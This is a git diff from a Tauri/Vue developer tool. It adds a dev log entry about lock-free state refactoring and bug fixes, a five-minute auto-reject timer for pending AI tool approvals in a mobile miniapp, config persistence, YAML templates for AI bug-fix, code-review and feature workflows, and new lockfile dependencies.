@@ -665,7 +665,7 @@
|
||||
|
||||
**遗留 / 下一步(修复批次建议)**:
|
||||
- **批1 数据安全**: ①(AI delete 改 soft_delete)+ ②(补 restore/purge/list_trash 三工具,复用 ProjectRepo 对应方法)
|
||||
- **批2 阻塞 + 去重**: ③(:270/:271/:212 三处统一 spawn_blocking)+ ④(抽公共 normalize_path 到 df-project/df-core)+ ⑤(tool_registry 复用 allowed_columns_for)
|
||||
- **批2 阻塞 + 去重**: ③(:270/:271/:212 三处统一 spawn_blocking)+ ④(抽公共 normalize_path 到 df-project/df-types)+ ⑤(tool_registry 复用 allowed_columns_for)
|
||||
- **批3 前端**: ⑥(补 i18n key)+ ⑦(抽 src/utils/project.ts)+ ⑧(全局 8 处 alert/confirm 换 Arco Modal)
|
||||
- ⚪ 可选: ⑨⑩⑪⑫ 按需
|
||||
|
||||
@@ -1031,6 +1031,47 @@
|
||||
|
||||
---
|
||||
|
||||
### 2026-07-19 — ConvStateStore 无锁重构 + 前端 P0 修复 + DeepSeek 400 修复 + 标题策略改进
|
||||
|
||||
> 本轮(Zed Agent 接管)完成 B-Phase 全量迁移、前端 P0、多轮 bug 修复、代码审查清理。
|
||||
> 代码变更 50 文件,+2454/-1251 行,未提交。
|
||||
|
||||
**B-Phase ConvStateStore 无锁重构(根治 session lock 竞争)**
|
||||
|
||||
| Phase | 内容 |
|
||||
|---|---|
|
||||
| Phase0-1 | DashMap 骨架 + AppState 接入(Claude Code 完成)|
|
||||
| Phase2 | guard/L0/chat IPC 写侧全量切 conv_states |
|
||||
| Phase3 | 读侧迁移 + 删 PerConvState.conv_state 字段 → 单源收敛 |
|
||||
| Phase4 | conversation_delete 同步 conv_states.remove |
|
||||
|
||||
**前端修复**
|
||||
- P0-1: watchdog `convStates.clear()` → `delete(activeConversationId)`
|
||||
- P0-2: switch/deleteConversation 入口加 `clearAllApprovalTimers()` + 注释修正
|
||||
- 每轮 token 独立显示(🔣 XXX in · YYY out)
|
||||
- STREAM_TIMEOUT_MS 45s → 90s
|
||||
|
||||
**后端修复**
|
||||
- DeepSeek 400「insufficient tool messages」→ 末尾 orphan tool_calls 自动剥离
|
||||
- `env_snapshot.rs` 5s 超时兜底(Windows Store alias 卡死)
|
||||
- L0 握手始终推 AiConvStateChanged{idle} 防前端状态残留
|
||||
- `openai_compat.rs` send 阶段 60s timeout
|
||||
- 原生 SSE 解析器替代 eventsource-stream(Windows 兼容)
|
||||
- run_agentic_loop 20s AiHeartbeat 保活
|
||||
- grep 正则自动修复(未分组 `|` → `(?:...)` 包裹)
|
||||
- read_file 路径不存在提示 list_directory
|
||||
|
||||
**标题策略改进**
|
||||
- extract_title: 取前 5 条 user 消息中最长的一条(替代第一条截取)
|
||||
- extract 不再落库 → LLM 每次都有重试机会,不再永久锁定差标题
|
||||
|
||||
**代码审查清理**
|
||||
- 修复 lib.rs 重复 handler 注册(🔴 严重)
|
||||
- 清理 unused import / [STUCK] 调试日志 / 过时注释
|
||||
- 340 tests passed, vue-tsc clean
|
||||
|
||||
**待提交**:50 文件改动,含 B-Phase 重构 + 前端 P0 + 多轮 bug 修复
|
||||
|
||||
## 七、开发约定
|
||||
|
||||
### 构建命令
|
||||
|
||||
@@ -341,7 +341,7 @@ class WsClient {
|
||||
}
|
||||
const text = res.data
|
||||
if (!text) return
|
||||
// 活性:任意入站帧更新(relay 无 pong,用心跳期间入站消息替代判活)
|
||||
// 活性:任意入站帧更新(含 relay 回的 pong 心跳响应,用于半连接检测)
|
||||
this.lastInboundAt = Date.now()
|
||||
|
||||
// 握手阶段可能收到 relay 发的错误控制帧(relay.rs:200-238)
|
||||
|
||||
@@ -215,6 +215,44 @@ function resetWatchdog(): void {
|
||||
streamTimer = setTimeout(onStreamTimeout, STREAM_TIMEOUT_MS)
|
||||
}
|
||||
|
||||
// ── 审批超时计时器(miniapp 补齐,对齐桌面 aiShared.startApprovalTimer)──
|
||||
// 治「审批永久挂起」:用户没在 5min 内处理审批 → 自动拒绝(对应桌面端 APPROVAL_TIMEOUT_DEFAULT_MS=900000,
|
||||
// miniapp 取 5min=300000 更符合移动端使用习惯)。每条审批独立计时,approve/拒绝/完成/切会话 清除。
|
||||
const APPROVAL_TIMEOUT_MS = 300_000 // 5 分钟
|
||||
const _approvalTimers = new Map<string, ReturnType<typeof setTimeout>>()
|
||||
|
||||
/** 启动审批超时计时器(AiApprovalRequired/AiDirAuthRequired 触发)。 */
|
||||
function startApprovalTimer(tcId: string, toolName: string): void {
|
||||
if (_approvalTimers.has(tcId)) return // 幂等
|
||||
const timer = setTimeout(() => {
|
||||
_approvalTimers.delete(tcId)
|
||||
// 超时自动拒绝(对齐桌面端:到点调 aiApi.approve(id,false))
|
||||
const idx = pendingApprovals.findIndex((p) => p.id === tcId)
|
||||
if (idx >= 0) {
|
||||
pendingApprovals.splice(idx, 1)
|
||||
uni.showToast({ title: `审批超时已自动拒绝:${toolName}`, icon: 'none' })
|
||||
// 发拒绝命令(device 收到后走 reject 链路,工具不执行,emit AiApprovalResult approved=false)
|
||||
approve(tcId, false)
|
||||
}
|
||||
}, APPROVAL_TIMEOUT_MS)
|
||||
_approvalTimers.set(tcId, timer)
|
||||
}
|
||||
|
||||
/** 清除审批超时计时器(approve/拒绝/完成/切会话/断连调用)。 */
|
||||
function clearApprovalTimer(tcId: string): void {
|
||||
const t = _approvalTimers.get(tcId)
|
||||
if (t) {
|
||||
clearTimeout(t)
|
||||
_approvalTimers.delete(tcId)
|
||||
}
|
||||
}
|
||||
|
||||
/** 清除所有审批计时器(切会话/断连/重连/终态)。 */
|
||||
function clearAllApprovalTimers(): void {
|
||||
for (const t of _approvalTimers.values()) clearTimeout(t)
|
||||
_approvalTimers.clear()
|
||||
}
|
||||
|
||||
/** 清除看门狗(终态/挂起/断连触发,timer 彻底停) */
|
||||
function clearWatchdog(): void {
|
||||
if (streamTimer) clearTimeout(streamTimer)
|
||||
@@ -468,6 +506,8 @@ export function handleEvent(event: AiChatEvent): void {
|
||||
// 移除对应挂起审批(若有)
|
||||
const idx = pendingApprovals.findIndex((p) => p.id === event.id)
|
||||
if (idx >= 0) pendingApprovals.splice(idx, 1)
|
||||
// 审批计时器:工具完成 → 清(审批已生效)
|
||||
clearApprovalTimer(event.id)
|
||||
// P2-E:工具执行完成 → 清回填标志(审批已生效执行,不再回填)
|
||||
if (lastApprovedTc.value && lastApprovedTc.value.id === event.id) {
|
||||
lastApprovedTc.value = null
|
||||
@@ -495,6 +535,7 @@ export function handleEvent(event: AiChatEvent): void {
|
||||
pendingApprovals.push(info)
|
||||
}
|
||||
clearWatchdog() // 挂起等审批,停看门狗(用户操作后续生成会 reset 重启)
|
||||
startApprovalTimer(event.id, event.name) // 5min 超时自动拒绝兜底
|
||||
const tc = findToolCall(event.id)
|
||||
if (tc) {
|
||||
tc.status = 'pending_approval'
|
||||
@@ -511,6 +552,7 @@ export function handleEvent(event: AiChatEvent): void {
|
||||
}
|
||||
const idx = pendingApprovals.findIndex((p) => p.id === event.id)
|
||||
if (idx >= 0) pendingApprovals.splice(idx, 1)
|
||||
clearApprovalTimer(event.id) // 审批结果落定 → 清计时器
|
||||
// P2-E:审批结果确认(批准/拒绝均落定)→ 清回填标志(该 id 已定,不再回填)
|
||||
if (lastApprovedTc.value && lastApprovedTc.value.id === event.id) {
|
||||
lastApprovedTc.value = null
|
||||
@@ -520,6 +562,7 @@ export function handleEvent(event: AiChatEvent): void {
|
||||
|
||||
case 'AiDirAuthRequired': {
|
||||
clearWatchdog() // 挂起等授权,停看门狗
|
||||
startApprovalTimer(event.id, event.tool) // 5min 超时自动拒绝
|
||||
// F-#95 P0-3:路径授权进 pendingApprovals(kind=path),chat 页渲染 once/always/deny 按钮
|
||||
// (替代旧 system 文案降级「请在桌面端处理」,miniapp 成轻量审批终端,治 loop 卡死)。
|
||||
const authInfo: AiToolCallInfo = {
|
||||
@@ -578,7 +621,7 @@ export function handleEvent(event: AiChatEvent): void {
|
||||
generating.value = false
|
||||
agentRound.value = 0
|
||||
clearWatchdog() // 终态:停看门狗
|
||||
pendingApprovals.splice(0, pendingApprovals.length)
|
||||
pendingApprovals.splice(0, pendingApprovals.length); clearAllApprovalTimers()
|
||||
// P2-E:审批失败回填 —— 刚 approve(approved=true)成功发出但 device 返 AiError(执行失败/已被
|
||||
// 桌面端处理),回填 pendingApprovals 让用户重试,避免 UI 误导「已批准」实际未生效。
|
||||
if (lastApprovedTc.value) {
|
||||
@@ -674,7 +717,14 @@ function subscribeWs(): void {
|
||||
}
|
||||
},
|
||||
onControl: (msg: ControlMessage) => {
|
||||
// 心跳响应等,miniapp 仅 console(不维持在线状态 UI)
|
||||
// 心跳 pong 响应:relay 收到 miniapp ping 后直接回 pong(不经 device),
|
||||
// miniapp 据此更新 lastPongTime 看门狗(ws.ts 已维护 lastInboundAt,但该路径不经过
|
||||
// onControl,这里记录到变量供日志诊断)。pong 闭环治移动网络 TCP 半连接挂死。
|
||||
if (msg.control_kind === 'pong') {
|
||||
console.debug('[useAiChat] 收到心跳 pong(relay 响应,连接健康)')
|
||||
return
|
||||
}
|
||||
// 其他 control 消息(hello_ack / pair 等)仅 console 不维持在线状态 UI
|
||||
console.log('[useAiChat] control', msg)
|
||||
},
|
||||
onStatus: (status: WsStatus, detail?: string) => {
|
||||
@@ -928,7 +978,7 @@ function switchConversation(convId: string): void {
|
||||
lastApprovedTc.value = null // P2-E:切会话清审批回填标志(防跨会话误回填)
|
||||
generating.value = false
|
||||
// MINIAPP-03:清残留挂起状态,防旧会话审批卡/超时回调污染新会话视图(对齐 newConversation)。
|
||||
pendingApprovals.splice(0, pendingApprovals.length)
|
||||
pendingApprovals.splice(0, pendingApprovals.length); clearAllApprovalTimers()
|
||||
clearWatchdog()
|
||||
|
||||
// F-#95 扩展:发 load_messages 拉历史(device route_load_messages 读库 → AiMessageHistory 回流)。
|
||||
@@ -1015,7 +1065,7 @@ function newConversation(): void {
|
||||
maxRoundsActive.value = false // P1-E:新会话清 MaxRounds 挂起
|
||||
lastApprovedTc.value = null // P2-E:新会话清审批回填标志
|
||||
generating.value = false
|
||||
pendingApprovals.splice(0, pendingApprovals.length)
|
||||
pendingApprovals.splice(0, pendingApprovals.length); clearAllApprovalTimers()
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -1037,7 +1087,7 @@ function syncOnConnect(): void {
|
||||
// req2:拉完整历史
|
||||
wsClient.send({ cmd: 'load_messages', args: { conversation_id: convId } })
|
||||
// req3:清本地 pending + 发 sync_pending 重推权威审批状态
|
||||
pendingApprovals.splice(0, pendingApprovals.length)
|
||||
pendingApprovals.splice(0, pendingApprovals.length); clearAllApprovalTimers()
|
||||
wsClient.send({ cmd: 'sync_pending', args: { conversation_id: convId } })
|
||||
}
|
||||
|
||||
|
||||
@@ -42,13 +42,71 @@ export const defaultConfig: MiniappConfig = {
|
||||
reconnectMaxDelay: 30000,
|
||||
}
|
||||
|
||||
/** 单例配置(miniapp 内存配置,后续接 storage 持久化) */
|
||||
let _config: MiniappConfig = { ...defaultConfig }
|
||||
/** storage key(持久化完整 MiniappConfig JSON) */
|
||||
const STORAGE_KEY = 'df-miniapp-config'
|
||||
|
||||
/** 单例配置(null 表示尚未从 storage 加载) */
|
||||
let _config: MiniappConfig | null = null
|
||||
|
||||
/**
|
||||
* 从 storage 读取并合并默认配置
|
||||
*
|
||||
* uni.getStorageSync(key) 未命中时返回 ''(空字符串),命中返回原写入值。
|
||||
* 容错:读取/解析失败仅 warn,不抛出,回落到 defaultConfig。
|
||||
*/
|
||||
function loadFromStorage(): MiniappConfig {
|
||||
try {
|
||||
const raw = uni.getStorageSync(STORAGE_KEY)
|
||||
if (!raw) return { ...defaultConfig }
|
||||
const parsed = JSON.parse(raw) as Partial<MiniappConfig>
|
||||
// 合并默认值,避免旧版本字段缺失导致 undefined
|
||||
return { ...defaultConfig, ...parsed }
|
||||
} catch (e) {
|
||||
console.warn('[df-miniapp] load config from storage failed:', e)
|
||||
return { ...defaultConfig }
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 同步写入 storage(JSON 序列化完整配置)
|
||||
*
|
||||
* 容错:写入失败仅 warn,不影响内存配置。
|
||||
*/
|
||||
function saveToStorage(config: MiniappConfig): void {
|
||||
try {
|
||||
uni.setStorageSync(STORAGE_KEY, JSON.stringify(config))
|
||||
} catch (e) {
|
||||
console.warn('[df-miniapp] save config to storage failed:', e)
|
||||
}
|
||||
}
|
||||
|
||||
export function getConfig(): MiniappConfig {
|
||||
// 首次调用时从 storage 加载并缓存
|
||||
if (_config === null) {
|
||||
_config = loadFromStorage()
|
||||
}
|
||||
return _config
|
||||
}
|
||||
|
||||
export function setConfig(patch: Partial<MiniappConfig>): void {
|
||||
// 确保已加载(避免在 getConfig 前调用 setConfig 丢失 storage 旧值)
|
||||
if (_config === null) {
|
||||
_config = loadFromStorage()
|
||||
}
|
||||
_config = { ..._config, ...patch }
|
||||
saveToStorage(_config)
|
||||
}
|
||||
|
||||
/**
|
||||
* 重置为默认配置并清除 storage 持久化数据
|
||||
*
|
||||
* 用于用户重新配对或恢复出厂占位值的场景。
|
||||
*/
|
||||
export function resetConfig(): void {
|
||||
_config = { ...defaultConfig }
|
||||
try {
|
||||
uni.removeStorageSync(STORAGE_KEY)
|
||||
} catch (e) {
|
||||
console.warn('[df-miniapp] remove config from storage failed:', e)
|
||||
}
|
||||
}
|
||||
|
||||
47
assets/templates/bug-fix.yaml
Normal file
47
assets/templates/bug-fix.yaml
Normal file
@@ -0,0 +1,47 @@
|
||||
# Bug 修复模板
|
||||
name: Bug 修复
|
||||
description: AI 驱动的 bug 修复流程 — 定位、修复、验证、通知
|
||||
|
||||
nodes:
|
||||
locate:
|
||||
type: ai
|
||||
label: 定位 Bug
|
||||
config:
|
||||
prompt: |
|
||||
根据错误描述和堆栈信息,定位 bug 的根因。
|
||||
使用 search_files 和 read_file 工具查找相关代码。
|
||||
persona_id: analyst
|
||||
|
||||
fix:
|
||||
type: ai
|
||||
label: 修复 Bug
|
||||
config:
|
||||
prompt: |
|
||||
基于定位结果,修复 bug。
|
||||
使用 patch_file 工具进行最小化修改。
|
||||
persona_id: coder
|
||||
|
||||
verify:
|
||||
type: ai
|
||||
label: 验证修复
|
||||
config:
|
||||
prompt: |
|
||||
验证修复是否有效。
|
||||
使用 run_command 工具运行相关测试。
|
||||
persona_id: tester
|
||||
|
||||
notify:
|
||||
type: notify
|
||||
label: 通知结果
|
||||
config:
|
||||
type: desktop
|
||||
title: Bug 修复完成
|
||||
message: 修复已验证
|
||||
|
||||
edges:
|
||||
- from: locate
|
||||
to: fix
|
||||
- from: fix
|
||||
to: verify
|
||||
- from: verify
|
||||
to: notify
|
||||
36
assets/templates/code-review.yaml
Normal file
36
assets/templates/code-review.yaml
Normal file
@@ -0,0 +1,36 @@
|
||||
# 代码审查模板
|
||||
name: 代码审查
|
||||
description: AI 驱动的代码审查流程 — 分析变更、审查质量、通知结果
|
||||
|
||||
nodes:
|
||||
analyze:
|
||||
type: ai
|
||||
label: 分析代码变更
|
||||
config:
|
||||
prompt: |
|
||||
分析以下代码变更,识别:
|
||||
1. 潜在 bug 和逻辑错误
|
||||
2. 安全漏洞
|
||||
3. 性能问题
|
||||
4. 代码规范
|
||||
persona_id: reviewer
|
||||
|
||||
report:
|
||||
type: ai
|
||||
label: 生成审查报告
|
||||
config:
|
||||
prompt: 基于分析结果,生成结构化审查报告,含优先级排序的改进建议
|
||||
|
||||
notify:
|
||||
type: notify
|
||||
label: 通知完成
|
||||
config:
|
||||
type: desktop
|
||||
title: 代码审查完成
|
||||
message: 审查报告已生成
|
||||
|
||||
edges:
|
||||
- from: analyze
|
||||
to: report
|
||||
- from: report
|
||||
to: notify
|
||||
62
assets/templates/feature-dev.yaml
Normal file
62
assets/templates/feature-dev.yaml
Normal file
@@ -0,0 +1,62 @@
|
||||
# 功能开发模板
|
||||
name: 功能开发
|
||||
description: AI 驱动的功能开发全流程 — 设计、编码、测试、审查、通知
|
||||
|
||||
nodes:
|
||||
design:
|
||||
type: ai
|
||||
label: 方案设计
|
||||
config:
|
||||
prompt: |
|
||||
分析需求,设计实现方案:
|
||||
1. 模块划分和接口定义
|
||||
2. 数据结构和核心算法
|
||||
3. 影响范围评估
|
||||
persona_id: architect
|
||||
|
||||
implement:
|
||||
type: ai
|
||||
label: 编码实现
|
||||
config:
|
||||
prompt: |
|
||||
按照设计方案实现功能。
|
||||
使用 write_file 和 patch_file 工具编写代码。
|
||||
persona_id: coder
|
||||
|
||||
test:
|
||||
type: ai
|
||||
label: 编写测试
|
||||
config:
|
||||
prompt: |
|
||||
为新功能编写单元测试和集成测试。
|
||||
使用 run_command 工具运行测试验证。
|
||||
persona_id: tester
|
||||
|
||||
review:
|
||||
type: ai
|
||||
label: 代码审查
|
||||
config:
|
||||
prompt: |
|
||||
审查实现代码,关注:
|
||||
1. 代码质量和可维护性
|
||||
2. 潜在 bug
|
||||
3. 安全性
|
||||
persona_id: reviewer
|
||||
|
||||
notify:
|
||||
type: notify
|
||||
label: 通知完成
|
||||
config:
|
||||
type: desktop
|
||||
title: 功能开发完成
|
||||
message: 设计→编码→测试→审查 全流程完成
|
||||
|
||||
edges:
|
||||
- from: design
|
||||
to: implement
|
||||
- from: implement
|
||||
to: test
|
||||
- from: test
|
||||
to: review
|
||||
- from: review
|
||||
to: notify
|
||||
82
bun.lock
82
bun.lock
@@ -5,10 +5,18 @@
|
||||
"": {
|
||||
"name": "devflow",
|
||||
"dependencies": {
|
||||
"@antv/layout": "^2.0.0",
|
||||
"@antv/x6": "^3.1.7",
|
||||
"@antv/x6-vue-shape": "^3.0.2",
|
||||
"@arco-design/web-vue": "^2.58.0",
|
||||
"@tauri-apps/api": "^2",
|
||||
"dompurify": "^3.4.9",
|
||||
"@tauri-apps/plugin-dialog": "^2.7.1",
|
||||
"@types/dagre": "^0.7.54",
|
||||
"dagre": "^0.8.5",
|
||||
"dompurify": "^3.4.10",
|
||||
"highlight.js": "^11.11.1",
|
||||
"marked": "^18.0.5",
|
||||
"tslib": "^2.8.1",
|
||||
"vue": "^3.5.13",
|
||||
"vue-i18n": "9",
|
||||
"vue-router": "4",
|
||||
@@ -24,6 +32,20 @@
|
||||
},
|
||||
},
|
||||
"packages": {
|
||||
"@antv/event-emitter": ["@antv/event-emitter@0.1.3", "https://registry.npmmirror.com/@antv/event-emitter/-/event-emitter-0.1.3.tgz", {}, "sha512-4ddpsiHN9Pd4UIlWuKVK1C4IiZIdbwQvy9i7DUSI3xNJ89FPUFt8lxDYj8GzzfdllV0NkJTRxnG+FvLk0llidg=="],
|
||||
|
||||
"@antv/expr": ["@antv/expr@1.0.2", "https://registry.npmmirror.com/@antv/expr/-/expr-1.0.2.tgz", {}, "sha512-vrfdmPHkTuiS5voVutKl2l06w1ihBh9A8SFdQPEE+2KMVpkymzGOF1eWpfkbGZ7tiFE15GodVdhhHomD/hdIwg=="],
|
||||
|
||||
"@antv/graphlib": ["@antv/graphlib@2.0.4", "https://registry.npmmirror.com/@antv/graphlib/-/graphlib-2.0.4.tgz", { "dependencies": { "@antv/event-emitter": "^0.1.3" } }, "sha512-zc/5oQlsdk42Z0ib1mGklwzhJ5vczLFiPa1v7DgJkTbgJ2YxRh9xdarf86zI49sKVJmgbweRpJs7Nu5bIiwv4w=="],
|
||||
|
||||
"@antv/layout": ["@antv/layout@2.0.0", "https://registry.npmmirror.com/@antv/layout/-/layout-2.0.0.tgz", { "dependencies": { "@antv/event-emitter": "^0.1.3", "@antv/expr": "^1.0.2", "@antv/graphlib": "^2.0.0", "@antv/util": "^3.3.2", "comlink": "^4.4.1", "d3-force": "^3.0.0", "d3-force-3d": "^3.0.5", "d3-octree": "^1.0.2", "d3-quadtree": "^3.0.1", "dagre": "^0.8.5", "ml-matrix": "^6.10.4", "tslib": "^2.8.1" } }, "sha512-aCZ3UdNc40SfT7meFV7QTADY2HCnc0DShVw56CJNTI6oExUIVU736grPuL5Dhb8/JrVaU4Y83QPN/P7KafBzlw=="],
|
||||
|
||||
"@antv/util": ["@antv/util@3.3.11", "https://registry.npmmirror.com/@antv/util/-/util-3.3.11.tgz", { "dependencies": { "fast-deep-equal": "^3.1.3", "gl-matrix": "^3.3.0", "tslib": "^2.3.1" } }, "sha512-FII08DFM4ABh2q5rPYdr0hMtKXRgeZazvXaFYCs7J7uTcWDHUhczab2qOCJLNDugoj8jFag1djb7wS9ehaRYBg=="],
|
||||
|
||||
"@antv/x6": ["@antv/x6@3.1.7", "https://registry.npmmirror.com/@antv/x6/-/x6-3.1.7.tgz", { "dependencies": { "dom-align": "^1.12.4", "lodash-es": "^4.17.15", "mousetrap": "^1.6.5", "utility-types": "^3.10.0" } }, "sha512-NLKXtbCK51oLbazfFD0XsD93rMmih08UBW4gAuEyLBpwAqHmHe+vP8VhOZDkl5O9jV1LSv85IJghr9CT5tZjWw=="],
|
||||
|
||||
"@antv/x6-vue-shape": ["@antv/x6-vue-shape@3.0.2", "https://registry.npmmirror.com/@antv/x6-vue-shape/-/x6-vue-shape-3.0.2.tgz", { "dependencies": { "vue-demi": "latest" }, "peerDependencies": { "@antv/x6": "^3.x", "@vue/composition-api": "^1.0.0-rc.1", "vue": "^2.0.0 || >=3.0.0" }, "optionalPeers": ["@vue/composition-api"] }, "sha512-HWnYFvLCaUD9ernINxTn9vCRj66eG/nXKErSSq0hfI4U1HOitC/1oUrzDdwL/BT80HKAQeSsmy7gpDA/79jYlw=="],
|
||||
|
||||
"@arco-design/color": ["@arco-design/color@0.4.0", "https://registry.npmmirror.com/@arco-design/color/-/color-0.4.0.tgz", { "dependencies": { "color": "^3.1.3" } }, "sha512-s7p9MSwJgHeL8DwcATaXvWT3m2SigKpxx4JA1BGPHL4gfvaQsmQfrLBDpjOJFJuJ2jG2dMt3R3P8Pm9E65q18g=="],
|
||||
|
||||
"@arco-design/web-vue": ["@arco-design/web-vue@2.58.0", "https://registry.npmmirror.com/@arco-design/web-vue/-/web-vue-2.58.0.tgz", { "dependencies": { "@arco-design/color": "^0.4.0", "b-tween": "^0.3.3", "b-validate": "^1.5.3", "compute-scroll-into-view": "^1.0.20", "dayjs": "^1.11.13", "number-precision": "^1.6.0", "resize-observer-polyfill": "^1.5.1", "scroll-into-view-if-needed": "^2.2.31", "vue": "^3.1.0" } }, "sha512-b1vdPYOmjG5VAkVa7jlVwCb+WynBK+rnKN8zH3yKohpZObZbostRd3HgYNtjjZjGVU3OqR0Yy2FX7ftgF0bcOw=="],
|
||||
@@ -172,6 +194,10 @@
|
||||
|
||||
"@tauri-apps/cli-win32-x64-msvc": ["@tauri-apps/cli-win32-x64-msvc@2.11.2", "https://registry.npmmirror.com/@tauri-apps/cli-win32-x64-msvc/-/cli-win32-x64-msvc-2.11.2.tgz", { "os": "win32", "cpu": "x64" }, "sha512-d2JchlFIpZevZVReyqhQOekJmb1UH3rhZ5VX6sH3ty9ETE0TKQavpihvoScUXfKKpW6HZC0MrFGRU0ZtD+w3gA=="],
|
||||
|
||||
"@tauri-apps/plugin-dialog": ["@tauri-apps/plugin-dialog@2.7.1", "https://registry.npmmirror.com/@tauri-apps/plugin-dialog/-/plugin-dialog-2.7.1.tgz", { "dependencies": { "@tauri-apps/api": "^2.11.0" } }, "sha512-OK1UBXYt+ojcmxMktzzuyonYIFta8CmAASpX+CA+DTGK24KlHjhYI6x2iOJ/TjZF4N7/ACK1oFmEOjIY9IhzOQ=="],
|
||||
|
||||
"@types/dagre": ["@types/dagre@0.7.54", "https://registry.npmmirror.com/@types/dagre/-/dagre-0.7.54.tgz", {}, "sha512-QjcRY+adGbYvBFS7cwv5txhVIwX1XXIUswWl+kSQTbI6NjgZydrZkEKX/etzVd7i+bCsCb40Z/xlBY5eoFuvWQ=="],
|
||||
|
||||
"@types/dompurify": ["@types/dompurify@3.2.0", "https://registry.npmmirror.com/@types/dompurify/-/dompurify-3.2.0.tgz", { "dependencies": { "dompurify": "*" } }, "sha512-Fgg31wv9QbLDA0SpTOXO3MaxySc4DKGLi8sna4/Utjo4r3ZRPdCt4UQee8BWr+Q5z21yifghREPJGYaEOEIACg=="],
|
||||
|
||||
"@types/estree": ["@types/estree@1.0.9", "https://registry.npmmirror.com/@types/estree/-/estree-1.0.9.tgz", {}, "sha512-GhdPgy1el4/ImP05X05Uw4cw2/M93BCUmnEvWZNStlCzEKME4Fkk+YpoA5OiHNQmoS7Cafb8Xa3Pya8m1Qrzeg=="],
|
||||
@@ -228,15 +254,35 @@
|
||||
|
||||
"color-string": ["color-string@1.9.1", "https://registry.npmmirror.com/color-string/-/color-string-1.9.1.tgz", { "dependencies": { "color-name": "^1.0.0", "simple-swizzle": "^0.2.2" } }, "sha512-shrVawQFojnZv6xM40anx4CkoDP+fZsw/ZerEMsW/pyzsRbElpsL/DBVW7q3ExxwusdNXI3lXpuhEZkzs8p5Eg=="],
|
||||
|
||||
"comlink": ["comlink@4.4.2", "https://registry.npmmirror.com/comlink/-/comlink-4.4.2.tgz", {}, "sha512-OxGdvBmJuNKSCMO4NTl1L47VRp6xn2wG4F/2hYzB6tiCb709otOxtEYCSvK80PtjODfXXZu8ds+Nw5kVCjqd2g=="],
|
||||
|
||||
"compute-scroll-into-view": ["compute-scroll-into-view@1.0.20", "https://registry.npmmirror.com/compute-scroll-into-view/-/compute-scroll-into-view-1.0.20.tgz", {}, "sha512-UCB0ioiyj8CRjtrvaceBLqqhZCVP+1B8+NWQhmdsm0VXOJtobBCf1dBQmebCCo34qZmUwZfIH2MZLqNHazrfjg=="],
|
||||
|
||||
"csstype": ["csstype@3.2.3", "https://registry.npmmirror.com/csstype/-/csstype-3.2.3.tgz", {}, "sha512-z1HGKcYy2xA8AGQfwrn0PAy+PB7X/GSj3UVJW9qKyn43xWa+gl5nXmU4qqLMRzWVLFC8KusUX8T/0kCiOYpAIQ=="],
|
||||
|
||||
"d3-binarytree": ["d3-binarytree@1.0.2", "https://registry.npmmirror.com/d3-binarytree/-/d3-binarytree-1.0.2.tgz", {}, "sha512-cElUNH+sHu95L04m92pG73t2MEJXKu+GeKUN1TJkFsu93E5W8E9Sc3kHEGJKgenGvj19m6upSn2EunvMgMD2Yw=="],
|
||||
|
||||
"d3-dispatch": ["d3-dispatch@3.0.1", "https://registry.npmmirror.com/d3-dispatch/-/d3-dispatch-3.0.1.tgz", {}, "sha512-rzUyPU/S7rwUflMyLc1ETDeBj0NRuHKKAcvukozwhshr6g6c5d8zh4c2gQjY2bZ0dXeGLWc1PF174P2tVvKhfg=="],
|
||||
|
||||
"d3-force": ["d3-force@3.0.0", "https://registry.npmmirror.com/d3-force/-/d3-force-3.0.0.tgz", { "dependencies": { "d3-dispatch": "1 - 3", "d3-quadtree": "1 - 3", "d3-timer": "1 - 3" } }, "sha512-zxV/SsA+U4yte8051P4ECydjD/S+qeYtnaIyAs9tgHCqfguma/aAQDjo85A9Z6EKhBirHRJHXIgJUlffT4wdLg=="],
|
||||
|
||||
"d3-force-3d": ["d3-force-3d@3.0.6", "https://registry.npmmirror.com/d3-force-3d/-/d3-force-3d-3.0.6.tgz", { "dependencies": { "d3-binarytree": "1", "d3-dispatch": "1 - 3", "d3-octree": "1", "d3-quadtree": "1 - 3", "d3-timer": "1 - 3" } }, "sha512-4tsKHUPLOVkyfEffZo1v6sFHvGFwAIIjt/W8IThbp08DYAsXZck+2pSHEG5W1+gQgEvFLdZkYvmJAbRM2EzMnA=="],
|
||||
|
||||
"d3-octree": ["d3-octree@1.1.0", "https://registry.npmmirror.com/d3-octree/-/d3-octree-1.1.0.tgz", {}, "sha512-F8gPlqpP+HwRPMO/8uOu5wjH110+6q4cgJvgJT6vlpy3BEaDIKlTZrgHKZSp/i1InRpVfh4puY/kvL6MxK930A=="],
|
||||
|
||||
"d3-quadtree": ["d3-quadtree@3.0.1", "https://registry.npmmirror.com/d3-quadtree/-/d3-quadtree-3.0.1.tgz", {}, "sha512-04xDrxQTDTCFwP5H6hRhsRcb9xxv2RzkcsygFzmkSIOJy3PeRJP7sNk3VRIbKXcog561P9oU0/rVH6vDROAgUw=="],
|
||||
|
||||
"d3-timer": ["d3-timer@3.0.1", "https://registry.npmmirror.com/d3-timer/-/d3-timer-3.0.1.tgz", {}, "sha512-ndfJ/JxxMd3nw31uyKoY2naivF+r29V+Lc0svZxe1JvvIRmi8hUsrMvdOwgS1o6uBHmiz91geQ0ylPP0aj1VUA=="],
|
||||
|
||||
"dagre": ["dagre@0.8.5", "https://registry.npmmirror.com/dagre/-/dagre-0.8.5.tgz", { "dependencies": { "graphlib": "^2.1.8", "lodash": "^4.17.15" } }, "sha512-/aTqmnRta7x7MCCpExk7HQL2O4owCT2h8NT//9I1OQ9vt29Pa0BzSAkR5lwFUcQ7491yVi/3CXU9jQ5o0Mn2Sw=="],
|
||||
|
||||
"dayjs": ["dayjs@1.11.21", "https://registry.npmmirror.com/dayjs/-/dayjs-1.11.21.tgz", {}, "sha512-98IT+HOahAisibz/yjKbzuOBwYcjJ7BCLPzARyHiyEBmRz4fatF+KPJszEHXsGYjUG234aH/cOjW1wwTbKUZlA=="],
|
||||
|
||||
"de-indent": ["de-indent@1.0.2", "https://registry.npmmirror.com/de-indent/-/de-indent-1.0.2.tgz", {}, "sha512-e/1zu3xH5MQryN2zdVaF0OrdNLUbvWxzMbi+iNA6Bky7l1RoP8a2fIbRocyHclXt/arDrrR6lL3TqFD9pMQTsg=="],
|
||||
|
||||
